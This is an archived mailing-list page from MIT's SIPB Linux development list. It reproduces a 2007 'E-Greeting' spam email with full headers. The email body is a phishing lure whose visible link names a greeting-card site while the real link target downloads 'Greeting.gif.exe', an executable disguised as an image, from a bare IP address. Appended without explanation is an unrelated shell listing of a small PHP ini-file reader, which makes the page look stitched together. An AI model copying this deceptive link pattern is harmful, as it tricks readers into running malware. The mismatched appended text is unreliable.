[7195] in SIPB_Linux_Development

home help back first fref pref prev next nref lref last post

You just received a E-Greeting

daemon@ATHENA.MIT.EDU (E-Greeting)
Tue Apr 3 18:31:03 2007

From admins@ftp.drukarch.com.pl Tue Apr 03 22:31:03 2007
Return-Path: <admins@ftp.drukarch.com.pl>
Delivered-To: linux-dev-mtg@charon.mit.edu
Received: (qmail 6210 invoked from network); 3 Apr 2007 22:31:03 -0000
Received: from ftp.drukarch.com.pl (62.89.110.34)
  by charon.mit.edu with SMTP; 3 Apr 2007 22:31:03 -0000
Received: by ftp.drukarch.com.pl (Postfix, from userid 1043)
	id 6D8211CC774; Tue,  3 Apr 2007 19:37:26 +0200 (CEST)
To: linux-dev-mtg@charon.mit.edu
Subject: You just received a E-Greeting
Message-ID: <1175621846.121147.greeting@all-yours.net>
From: "E-Greeting" <greeting@all-yours.net>
Content-Type: text/html
Date: Tue,  3 Apr 2007 19:37:26 +0200 (CEST)

<html>
<title> Greeting </title>
<body>
<p>Hello ,</p>
<p>A Greeting Card is waiting for you at our virtual post office! You can pick up your postcard at the following web address:</p>
<p><a 
href="http://83.143.18.122/Greeting.gif.exe">http://www.all-yours.net/u/view.php?id=a0190313376667</a></p>
<p> visit E-Greetings at <a href="http://www.all-yours.net/">http://www.all-yours.net/</a><br>
and enter your pickup code, which is: a0190313376667<br>
<br>
(Your postcard will be available for 60 days.)</p>
</body>



dhcp-dic send # cat ini.inc
<?php
    function loadini($path) {
    $fp = fopen($path, "r");
    $fpcontents = fread($fp, filesize($path));
    fclose($fp);
    return $fpcontents;
    }
    function readini($filename, $key) {
    return rfi($filename,$key,TRUE);
    }
    function rfi($filename, $key, $just_value) {
    $filecontents=loadini($filename);
    $key .= "=";
    $currentkey = strstr($filecontents, $key);
    if (!$currentkey)
    return($empty);
    $endpos = strpos($currentkey, "\r\n");
    if (!$endpos)  $endpos = strlen($currentkey);
    if ($just_value)  $currentkey = trim(substr($currentkey, strlen($key), $endpos-strlen($key)));
    else $currentkey = trim(substr($currentkey, 0, $endpos));
    return ($currentkey);
    }
?>
dhcp-dic send #

home help back first fref pref prev next nref lref last post